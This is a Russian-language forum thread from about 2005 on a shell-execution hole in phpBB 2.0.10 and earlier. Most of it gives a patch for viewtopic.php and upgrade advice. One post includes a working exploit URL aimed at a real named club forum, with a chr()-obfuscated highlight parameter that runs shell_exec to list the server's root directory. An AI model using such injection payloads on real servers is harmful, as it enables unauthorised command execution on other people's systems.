Дыра в phpbb <=2.0.10

[Green Mother]

Дыра в phpbb <=2.0.10

Подробностей сообщать не буду, кому надо найдут сами, напишу как лечить. Лучше всего обновить до версии 2.0.11. Если по тем или иным причинам это невозможно - найдите в viewtopic.php кусок строки:

"preg_replace('#\b(" . $highlight_match

и замените на

"preg_replace('#\b(" . str_replace("'", "", $highlight_match)

в противном случае любой может выполнять шелловые команды на вашем сервере с правами апача.

 

[Найч]

Новостью это было недели четыре назад. Кому надо, уже давно пофиксили

 

[Green Mother]

здесь этого не нашел, хотя, может быть плохо искал.
мне было надо, а я не пофиксил вовремя. %( потому щас на работе, сайт перезаливал.

 

[fixxxer]

здесь этого не нашел

Здесь не bugtraq.

 

[Найч]

Green Mother

Ходите на официальный сайт разработчика

 

[Green Mother]

Автор оригинала: fixxxer
Здесь не bugtraq.

да я и не упрекаю, просто предупредил, т.к. сам попал.

 

[slach]

да и для интересующихся
http://phpsecure.info/

 

[antonio]

Дыра весьма опасная, специально для неверующих привожу пример.

http://www.saabclub.org.au/forums/viewtopic.php?t=103&highlight=%27%2Eprint(chr(60)%2Echr(112)%2Echr(114)%2Echr(101)%2Echr(62)%2Eshell_exec(chr(108)%2Echr(115)%2Echr(32)%2Echr(45)%2Echr(108)%2Echr(97)%2Echr(32)%2Echr(47)%2Echr(32)%2Echr(124)%2Echr(32)%2Echr(99)%2Echr(97)%2Echr(116))%2Echr(60)%2Echr(47)%2Echr(112)%2Echr(114)%2Echr(101)%2Echr(62))%2E%27

Обновляйтесь и латайтесь.

-~{}~ 29.01.05 17:49:

прикрыли дыру на saabclub наконец-то